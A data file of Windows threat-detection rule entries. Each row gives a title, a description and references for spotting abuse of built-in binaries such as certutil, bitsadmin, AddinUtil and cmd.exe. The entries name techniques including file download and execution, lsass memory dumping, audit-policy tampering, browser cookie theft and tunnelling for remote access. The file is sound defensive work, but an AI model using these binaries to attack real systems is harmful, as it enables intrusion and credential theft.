Potential DLL Injection Via AccCheckConsole	Detects the execution "AccCheckConsole" a command-line tool for verifying the accessibility implementation of an application's UI. One of the tests that this checker can run are called "verification routine", which tests for things like Consistency, Navigation, etc. The tool allows a user to provide a DLL that can contain a custom "verification routine". An attacker can build such DLLs and pass it via the CLI, which would then be loaded in the context of the "AccCheckConsole" utility.	https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340, https://twitter.com/bohops/status/1477717351017680899?s=12, https://lolbas-project.github.io/lolbas/OtherMSBinaries/AccCheckConsole/
Suspicious AddinUtil.EXE CommandLine Execution	Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) with suspicious Addinroot or Pipelineroot paths. An adversary may execute AddinUtil.exe with uncommon Addinroot/Pipelineroot paths that point to the adversaries Addins.Store payload.	https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html
Uncommon Child Process Of AddinUtil.EXE	Detects uncommon child processes of the Add-In deployment cache updating utility (AddInutil.exe) which could be a sign of potential abuse of the binary to proxy execution via a custom Addins.Store payload.	https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html
Uncommon AddinUtil.EXE CommandLine Execution	Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) with uncommon Addinroot or Pipelineroot paths. An adversary may execute AddinUtil.exe with uncommon Addinroot/Pipelineroot paths that point to the adversaries Addins.Store payload.	https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html
AddinUtil.EXE Execution From Uncommon Directory	Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) from a non-standard directory.	https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html
Potential Adplus.EXE Abuse	Detects execution of "AdPlus.exe", a binary that is part of the Windows SDK that can be used as a LOLBIN in order to dump process memory and execute arbitrary commands.	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Adplus/, https://twitter.com/nas_bench/status/1534916659676422152, https://twitter.com/nas_bench/status/1534915321856917506
AgentExecutor PowerShell Execution	Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy "Bypass" or any binary named "powershell.exe" located in the path provided by 6th positional argument	https://twitter.com/lefterispan/status/1286259016436514816, https://lolbas-project.github.io/lolbas/OtherMSBinaries/Agentexecutor/, https://learn.microsoft.com/en-us/mem/intune/apps/intune-management-extension, https://twitter.com/jseerden/status/1247985304667066373/photo/1
Suspicious AgentExecutor PowerShell Execution	Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy "Bypass" or any binary named "powershell.exe" located in the path provided by 6th positional argument	https://twitter.com/lefterispan/status/1286259016436514816, https://lolbas-project.github.io/lolbas/OtherMSBinaries/Agentexecutor/, https://learn.microsoft.com/en-us/mem/intune/apps/intune-management-extension, https://twitter.com/jseerden/status/1247985304667066373/photo/1
Uncommon Child Process Of Appvlp.EXE	Detects uncommon child processes of Appvlp.EXE Appvlp or the Application Virtualization Utility is included with Microsoft Office. Attackers are able to abuse "AppVLP" to execute shell commands. Normally, this binary is used for Application Virtualization, but it can also be abused to circumvent the ASR file path rule folder or to mark a file as a system file.	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Appvlp/
AspNetCompiler Execution	Detects execution of "aspnet_compiler.exe" which can be abused to compile and execute C# code.	https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/, https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/
Suspicious Child Process of AspNetCompiler	Detects potentially suspicious child processes of "aspnet_compiler.exe".	https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/, https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/
Potentially Suspicious ASP.NET Compilation Via AspNetCompiler	Detects execution of "aspnet_compiler.exe" with potentially suspicious paths for compilation.	https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/, https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/
Uncommon Assistive Technology Applications Execution Via AtBroker.EXE	Detects the start of a non built-in assistive technology applications via "Atbroker.EXE".	http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/, https://lolbas-project.github.io/lolbas/Binaries/Atbroker/
Hiding Files with Attrib.exe	Detects usage of attrib.exe to hide files from users.	https://unit42.paloaltonetworks.com/unit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency/, https://www.uptycs.com/blog/lolbins-are-no-laughing-matter
Set Suspicious Files as System Files Using Attrib.EXE	Detects the usage of attrib with the "+s" option to set scripts or executables located in suspicious locations as system files to hide them from users and make them unable to be deleted with simple rights. The rule limits the search to specific extensions and directories to avoid FPs	https://app.any.run/tasks/c28cabc8-a19f-40f3-a78b-cae506a5c0d4, https://app.any.run/tasks/cfc8870b-ccd7-4210-88cf-a8087476a6d0, https://unit42.paloaltonetworks.com/unit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency/
Interactive AT Job	Detects an interactive AT job, which may be used as a form of privilege escalation.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.002/T1053.002.md, https://eqllib.readthedocs.io/en/latest/analytics/d8db43cf-ed52-4f5c-9fb3-c9a4b95a0b56.html
Audit Policy Tampering Via NT Resource Kit Auditpol	Threat actors can use an older version of the auditpol binary available inside the NT resource kit to change audit policy configuration to impair detection capability. This can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.	https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Windows%202000%20Resource%20Kit%20Tools/AuditPol
Audit Policy Tampering Via Auditpol	Threat actors can use auditpol binary to change audit policy configuration to impair detection capability. This can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.	https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/
Indirect Inline Command Execution Via Bash.EXE	Detects execution of Microsoft bash launcher with the "-c" flag. This can be used to potentially bypass defenses and execute Linux or Windows-based binaries directly via bash.	https://lolbas-project.github.io/lolbas/Binaries/Bash/
Indirect Command Execution From Script File Via Bash.EXE	Detects execution of Microsoft bash launcher without any flags to execute the content of a bash script directly. This can be used to potentially bypass defenses and execute Linux or Windows-based binaries directly via bash.	https://lolbas-project.github.io/lolbas/Binaries/Bash/, https://linux.die.net/man/1/bash, Internal Research
Boot Configuration Tampering Via Bcdedit.EXE	Detects the use of the bcdedit command to tamper with the boot configuration data. This technique is often times used by malware or attackers as a destructive way before launching ransomware.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md, https://eqllib.readthedocs.io/en/latest/analytics/c4732632-9c1d-4980-9fa8-1d98c93f918e.html
Potential Ransomware or Unauthorized MBR Tampering Via Bcdedit.EXE	Detects potential malicious and unauthorized usage of bcdedit.exe	https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--set, https://twitter.com/malwrhunterteam/status/1372536434125512712/photo/2
Data Export From MSSQL Table Via BCP.EXE	Detects the execution of the BCP utility in order to export data from the database. Attackers were seen saving their malware to a database column or table and then later extracting it via "bcp.exe" into a file.	https://docs.microsoft.com/en-us/sql/tools/bcp-utility, https://asec.ahnlab.com/en/61000/, https://asec.ahnlab.com/en/78944/, https://www.huntress.com/blog/attacking-mssql-servers, https://www.huntress.com/blog/attacking-mssql-servers-pt-ii, https://news.sophos.com/en-us/2024/08/07/sophos-mdr-hunt-tracks-mimic-ransomware-campaign-against-organizations-in-india/, https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
Suspicious Child Process Of BgInfo.EXE	Detects suspicious child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/, https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/
BitLockerTogo.EXE Execution	Detects the execution of "BitLockerToGo.EXE". BitLocker To Go is BitLocker Drive Encryption on removable data drives. This feature includes the encryption of, USB flash drives, SD cards, External hard disk drives, Other drives that are formatted by using the NTFS, FAT16, FAT32, or exFAT file system. This is a rarely used application and usage of it at all is worth investigating. Malware such as Lumma stealer has been seen using this process as a target for process hollowing.	https://tria.ge/240521-ynezpagf56/behavioral1, https://any.run/report/6eea2773c1b4b5c6fb7c142933e220c96f9a4ec89055bf0cf54accdcde7df535/a407f006-ee45-420d-b576-f259094df091, https://bazaar.abuse.ch/sample/8c75f8e94486f5bbf461505823f5779f328c5b37f1387c18791e0c21f3fdd576/, https://bazaar.abuse.ch/sample/64e6605496919cd76554915cbed88e56fdec10dec6523918a631754664b8c8d3/
Uncommon Child Process Of BgInfo.EXE	Detects uncommon child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/, https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/
Suspicious Download From Direct IP Via Bitsadmin	Detects usage of bitsadmin downloading a file using an URL that contains an IP	https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin, https://isc.sans.edu/diary/22264, https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/, https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/
File Download Via Bitsadmin	Detects usage of bitsadmin downloading a file	https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin, https://isc.sans.edu/diary/22264, https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/
Suspicious Download From File-Sharing Website Via Bitsadmin	Detects usage of bitsadmin downloading a file from a suspicious domain	https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin, https://isc.sans.edu/diary/22264, https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/, https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker, https://www.cisa.gov/uscert/ncas/alerts/aa22-321a, https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/
File With Suspicious Extension Downloaded Via Bitsadmin	Detects usage of bitsadmin downloading a file with a suspicious extension	https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin, https://isc.sans.edu/diary/22264, https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/
File Download Via Bitsadmin To A Suspicious Target Folder	Detects usage of bitsadmin downloading a file to a suspicious target folder	https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin, https://isc.sans.edu/diary/22264, https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/, https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/
File Download Via Bitsadmin To An Uncommon Target Folder	Detects usage of bitsadmin downloading a file to uncommon target folder	https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin, https://isc.sans.edu/diary/22264, https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/, https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/
Monitoring For Persistence Via BITS	BITS will allow you to schedule a command to execute after a successful download to notify you that the job is finished. When the job runs on the system the command specified in the BITS job will be executed. This can be abused by actors to create a backdoor within the system and for persistence. It will be chained in a BITS job to schedule the download of malware/additional binaries and execute the program after being downloaded.	https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html, http://0xthem.blogspot.com/2014/03/t-emporal-persistence-with-and-schtasks.html, https://isc.sans.edu/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Mechanism+-+Part+1/15394
Potential Data Stealing Via Chromium Headless Debugging	Detects chromium based browsers starting in headless and debugging mode and pointing to a user profile. This could be a sign of data stealing or remote control	https://github.com/defaultnamehere/cookie_crimes/, https://mango.pdf.zone/stealing-chrome-cookies-without-a-password, https://embracethered.com/blog/posts/2020/cookie-crimes-on-mirosoft-edge/, https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/
Browser Execution In Headless Mode	Detects execution of Chromium based browser in headless mode	https://twitter.com/mrd0x/status/1478234484881436672?s=12, https://www.trendmicro.com/en_us/research/23/e/managed-xdr-investigation-of-ducktail-in-trend-micro-vision-one.html
File Download with Headless Browser	Detects execution of chromium based browser in headless mode using the "dump-dom" command line to download files	https://twitter.com/mrd0x/status/1478234484881436672?s=12, https://www.trendmicro.com/en_us/research/23/e/managed-xdr-investigation-of-ducktail-in-trend-micro-vision-one.html
Chromium Browser Instance Executed With Custom Extension	Detects a Chromium based browser process with the 'load-extension' flag to start a instance with a custom extension	https://redcanary.com/blog/chromeloader/, https://emkc.org/s/RJjuLa, https://www.mandiant.com/resources/blog/lnk-between-browsers
Chromium Browser Headless Execution To Mockbin Like Site	Detects the execution of a Chromium based browser process with the "headless" flag and a URL pointing to the mockbin.org service (which can be used to exfiltrate data).	https://www.zscaler.com/blogs/security-research/steal-it-campaign
Suspicious Chromium Browser Instance Executed With Custom Extension	Detects a suspicious process spawning a Chromium based browser process with the 'load-extension' flag to start an instance with a custom extension	https://redcanary.com/blog/chromeloader/, https://emkc.org/s/RJjuLa, https://www.mandiant.com/resources/blog/lnk-between-browsers
File Download From Browser Process Via Inline URL	Detects execution of a browser process with a URL argument pointing to a file with a potentially interesting extension. This can be abused to download arbitrary files or to hide from the user for example by launching the browser in a minimized state.	https://twitter.com/mrd0x/status/1478116126005641220, https://lolbas-project.github.io/lolbas/Binaries/Msedge/
Browser Started with Remote Debugging	Detects browsers starting with the remote debugging flags. Which is a technique often used to perform browser injection attacks	https://yoroi.company/wp-content/uploads/2022/05/EternityGroup_report_compressed.pdf, https://www.mdsec.co.uk/2022/10/analysing-lastpass-part-1/, https://github.com/defaultnamehere/cookie_crimes/, https://github.com/wunderwuzzi23/firefox-cookiemonster
Tor Client/Browser Execution	Detects the use of Tor or Tor-Browser to connect to onion routing networks	https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/
Suspicious Calculator Usage	Detects suspicious use of 'calc.exe' with command line parameters or in a suspicious directory, which is likely caused by some PoC or detection evasion.	https://twitter.com/ItsReallyNick/status/1094080242686312448
Potential Binary Proxy Execution Via Cdb.EXE	Detects usage of "cdb.exe" to launch arbitrary processes or commands from a debugger script file	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/, https://web.archive.org/web/20170715043507/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html, https://twitter.com/nas_bench/status/1534957360032120833
New Root Certificate Installed Via CertMgr.EXE	Detects execution of "certmgr" with the "add" flag in order to install a new certificate on the system. Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md, https://securelist.com/to-crypt-or-to-mine-that-is-the-question/86307/
File Download via CertOC.EXE	Detects when a user downloads a file by using CertOC.exe	https://lolbas-project.github.io/lolbas/Binaries/Certoc/
File Download From IP Based URL Via CertOC.EXE	Detects when a user downloads a file from an IP based URL using CertOC.exe	https://lolbas-project.github.io/lolbas/Binaries/Certoc/
DLL Loaded via CertOC.EXE	Detects when a user installs certificates by using CertOC.exe to loads the target DLL file.	https://twitter.com/sblmsrsn/status/1445758411803480072?s=20, https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-fe98e74189873d6df72a15df2eaa0315c59ba9cdaca93ecd68afc4ea09194ef2, https://lolbas-project.github.io/lolbas/Binaries/Certoc/
Suspicious DLL Loaded via CertOC.EXE	Detects when a user installs certificates by using CertOC.exe to load the target DLL file.	https://twitter.com/sblmsrsn/status/1445758411803480072?s=20, https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-fe98e74189873d6df72a15df2eaa0315c59ba9cdaca93ecd68afc4ea09194ef2, https://lolbas-project.github.io/lolbas/Binaries/Certoc/
New Root Certificate Installed Via Certutil.EXE	Detects execution of "certutil" with the "addstore" flag in order to install a new certificate on the system. Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md
File Decoded From Base64/Hex Via Certutil.EXE	Detects the execution of certutil with either the "decode" or "decodehex" flags to decode base64 or hex encoded files. This can be abused by attackers to decode an encoded payload before execution	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil, https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/, https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/, https://twitter.com/JohnLaTwC/status/835149808817991680, https://learn.microsoft.com/en-us/archive/blogs/pki/basic-crl-checking-with-certutil, https://lolbas-project.github.io/lolbas/Binaries/Certutil/
Suspicious Download Via Certutil.EXE	Detects the execution of certutil with certain flags that allow the utility to download files.	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil, https://forensicitguy.github.io/agenttesla-vba-certutil-download/, https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/, https://twitter.com/egre55/status/1087685529016193025, https://lolbas-project.github.io/lolbas/Binaries/Certutil/
Suspicious File Downloaded From Direct IP Via Certutil.EXE	Detects the execution of certutil with certain flags that allow the utility to download files from direct IPs.	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil, https://forensicitguy.github.io/agenttesla-vba-certutil-download/, https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/, https://twitter.com/egre55/status/1087685529016193025, https://lolbas-project.github.io/lolbas/Binaries/Certutil/, https://twitter.com/_JohnHammond/status/1708910264261980634
Suspicious File Downloaded From File-Sharing Website Via Certutil.EXE	Detects the execution of certutil with certain flags that allow the utility to download files from file-sharing websites.	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil, https://forensicitguy.github.io/agenttesla-vba-certutil-download/, https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/, https://twitter.com/egre55/status/1087685529016193025, https://lolbas-project.github.io/lolbas/Binaries/Certutil/, https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/
File Encoded To Base64 Via Certutil.EXE	Detects the execution of certutil with the "encode" flag to encode a file to base64. This can be abused by threat actors and attackers for data exfiltration	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil, https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/, https://lolbas-project.github.io/lolbas/Binaries/Certutil/
Potential NTLM Coercion Via Certutil.EXE	Detects possible NTLM coercion via certutil using the 'syncwithWU' flag	https://github.com/LOLBAS-Project/LOLBAS/issues/243
Suspicious File Encoded To Base64 Via Certutil.EXE	Detects the execution of certutil with the "encode" flag to encode a file to base64 where the extensions of the file is suspicious	https://www.virustotal.com/gui/file/35c22725a92d5cb1016b09421c0a6cdbfd860fd4778b3313669b057d4a131cb7/behavior, https://www.virustotal.com/gui/file/427616528b7dbc4a6057ac89eb174a3a90f7abcf3f34e5a359b7a910d82f7a72/behavior, https://www.virustotal.com/gui/file/34de4c8beded481a4084a1fd77855c3e977e8ac643e5c5842d0f15f7f9b9086f/behavior, https://www.virustotal.com/gui/file/4abe1395a09fda06d897a9c4eb247278c1b6cddda5d126ce5b3f4f499e3b8fa2/behavior
File In Suspicious Location Encoded To Base64 Via Certutil.EXE	Detects the execution of certutil with the "encode" flag to encode a file to base64 where the files are located in potentially suspicious locations	https://www.virustotal.com/gui/file/35c22725a92d5cb1016b09421c0a6cdbfd860fd4778b3313669b057d4a131cb7/behavior, https://www.virustotal.com/gui/file/427616528b7dbc4a6057ac89eb174a3a90f7abcf3f34e5a359b7a910d82f7a72/behavior, https://www.virustotal.com/gui/file/34de4c8beded481a4084a1fd77855c3e977e8ac643e5c5842d0f15f7f9b9086f/behavior, https://www.virustotal.com/gui/file/4abe1395a09fda06d897a9c4eb247278c1b6cddda5d126ce5b3f4f499e3b8fa2/behavior
Certificate Exported Via Certutil.EXE	Detects the execution of the certutil with the "exportPFX" flag which allows the utility to export certificates.	https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html
Suspicious CodePage Switch Via CHCP	Detects a code page switch in command line or batch scripts to a rare language	https://learn.microsoft.com/en-us/windows/win32/intl/code-page-identifiers, https://twitter.com/cglyer/status/1183756892952248325
Console CodePage Lookup Via CHCP	Detects use of chcp to look up the system locale value as part of host discovery	https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chcp
Deleted Data Overwritten Via Cipher.EXE	Detects usage of the "cipher" built-in utility in order to overwrite deleted data from disk. Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-3---overwrite-deleted-data-on-c-drive
Process Access via TrolleyExpress Exclusion	Detects a possible process memory dump that uses the white-listed Citrix TrolleyExpress.exe filename as a way to dump the lsass process memory	https://twitter.com/_xpn_/status/1491557187168178176, https://www.youtube.com/watch?v=Ie831jF0bb0
Data Copied To Clipboard Via Clip.EXE	Detects the execution of clip.exe in order to copy data to the clipboard. Adversaries may collect data stored in the clipboard from users copying information within or between applications.	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1115/T1115.md
Cloudflared Portable Execution	Detects the execution of the "cloudflared" binary from a non standard location.	https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/, https://github.com/cloudflare/cloudflared, https://www.intrinsec.com/akira_ransomware/, https://www.guidepointsecurity.com/blog/tunnel-vision-cloudflared-abused-in-the-wild/, https://github.com/cloudflare/cloudflared/releases
Cloudflared Quick Tunnel Execution	Detects creation of an ad-hoc Cloudflare Quick Tunnel, which can be used to tunnel local services such as HTTP, RDP, SSH and SMB. The free TryCloudflare Quick Tunnel will generate a random subdomain on trycloudflare[.]com, following a call to api[.]trycloudflare[.]com. The tool has been observed in use by threat groups including Akira ransomware.	https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/, https://github.com/cloudflare/cloudflared, https://www.intrinsec.com/akira_ransomware/, https://www.guidepointsecurity.com/blog/tunnel-vision-cloudflared-abused-in-the-wild/
Cloudflared Tunnel Connections Cleanup	Detects execution of the "cloudflared" tool with the tunnel "cleanup" flag in order to cleanup tunnel connections.	https://github.com/cloudflare/cloudflared, https://developers.cloudflare.com/cloudflare-one/connections/connect-apps
Cloudflared Tunnel Execution	Detects execution of the "cloudflared" tool to connect back to a tunnel. This was seen used by threat actors to maintain persistence and remote access to compromised networks.	https://blog.reconinfosec.com/emergence-of-akira-ransomware-group, https://github.com/cloudflare/cloudflared, https://developers.cloudflare.com/cloudflare-one/connections/connect-apps
New Generic Credentials Added Via Cmdkey.EXE	Detects usage of "cmdkey.exe" to add generic credentials. As an example, this can be used before connecting to an RDP session via command line interface.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#t1021001---remote-desktop-protocol
Potential Reconnaissance For Cached Credentials Via Cmdkey.EXE	Detects usage of cmdkey to look for cached credentials on the system	https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation, https://technet.microsoft.com/en-us/library/cc754243(v=ws.11).aspx, https://github.com/redcanaryco/atomic-red-team/blob/b27a3cb25025161d49ac861cb216db68c46a3537/atomics/T1003.005/T1003.005.md#atomic-test-1---cached-credential-dump-via-cmdkey
Change Default File Association Via Assoc	Detects file association changes using the builtin "assoc" command. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.001/T1546.001.md
Potential Arbitrary File Download Via Cmdl32.EXE	Detects execution of Cmdl32 with the "/vpn" and "/lan" flags. Attackers can abuse this utility in order to download arbitrary files via a configuration file. Inspect the location and the content of the file passed as an argument in order to determine if it is suspicious.	https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/, https://twitter.com/SwiftOnSecurity/status/1455897435063074824, https://github.com/LOLBAS-Project/LOLBAS/pull/151
Change Default File Association To Executable Via Assoc	Detects when a program changes the default file association of any extension to an executable. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/assoc
Copy .DMP/.DUMP Files From Remote Share Via Cmd.EXE	Detects usage of the copy builtin cmd command to copy files with the ".dmp"/".dump" extension from a remote share	https://thedfirreport.com/2022/09/26/bumblebee-round-two/
Curl Download And Execute Combination	Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later.	https://medium.com/@reegun/curl-exe-is-the-new-rundll32-exe-lolbin-3f79c5f35983
File Deletion Via Del	Detects execution of the builtin "del"/"erase" commands in order to delete files. Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/erase
Greedy File Deletion Using Del	Detects execution of the "del" builtin command to remove files using greedy/wildcard expression. This is often used by malware to delete content of folders that perhaps contains the initial malware infection or to delete evidence.	https://www.joesandbox.com/analysis/509330/0/html#1044F3BDBE3BB6F734E357235F4D5898582D, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/erase
File And SubFolder Enumeration Via Dir Command	Detects usage of the "dir" command part of Widows CMD with the "/S" command line flag in order to enumerate files in a specified directory and all subdirectories.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md
Potential Dosfuscation Activity	Detects possible payload obfuscation via the commandline	https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/dosfuscation-report.pdf, https://github.com/danielbohannon/Invoke-DOSfuscation
Command Line Execution with Suspicious URL and AppData Strings	Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell)	https://www.hybrid-analysis.com/sample/3a1f01206684410dbe8f1900bbeaaa543adfcd07368ba646b499fa5274b9edf6?environmentId=100, https://www.hybrid-analysis.com/sample/f16c729aad5c74f19784a24257236a8bbe27f7cdc4a89806031ec7f1bebbd475?environmentId=100
Potential Privilege Escalation Using Symlink Between Osk and Cmd	Detects the creation of a symbolic link between "cmd.exe" and the accessibility on-screen keyboard binary (osk.exe) using "mklink". This technique provides an elevated command prompt to the user from the login screen without the need to log in.	https://github.com/redcanaryco/atomic-red-team/blob/5c1e6f1b4fafd01c8d1ece85f510160fc1275fbf/atomics/T1546.008/T1546.008.md, https://ss64.com/nt/mklink.html
VolumeShadowCopy Symlink Creation Via Mklink	Shadow Copies storage symbolic link creation using operating systems utilities	https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
Suspicious File Execution From Internet Hosted WebDav Share	Detects the execution of the "net use" command to mount a WebDAV server and then immediately execute some content in it. As seen being used in malicious LNK files	https://twitter.com/ShadowChasing1/status/1552595370961944576, https://www.virustotal.com/gui/file/a63376ee1dba76361df73338928e528ca5b20171ea74c24581605366dcaa0104/behavior
Cmd.EXE Missing Space Characters Execution Anomaly	Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe. This could be a sign of obfuscation of a fat finger problem (typo by the developer).	https://twitter.com/cyb3rops/status/1562072617552678912, https://ss64.com/nt/cmd.html
Potential CommandLine Path Traversal Via Cmd.EXE	Detects potential path traversal attempt via cmd.exe. Could indicate possible command/argument confusion/hijacking	https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe/, https://twitter.com/Oddvarmoe/status/1270633613449723905
NtdllPipe Like Activity Execution	Detects command that type the content of ntdll.dll to a different file or a pipe in order to evade AV / EDR detection. As seen being used in the POC NtdllPipe	https://web.archive.org/web/20220306121156/https://www.x86matthew.com/view_post?id=ntdll_pipe
Potentially Suspicious Ping/Copy Command Combination	Detects uncommon and potentially suspicious one-liner command containing both "ping" and "copy" at the same time, which is usually used by malware.	Internal Research
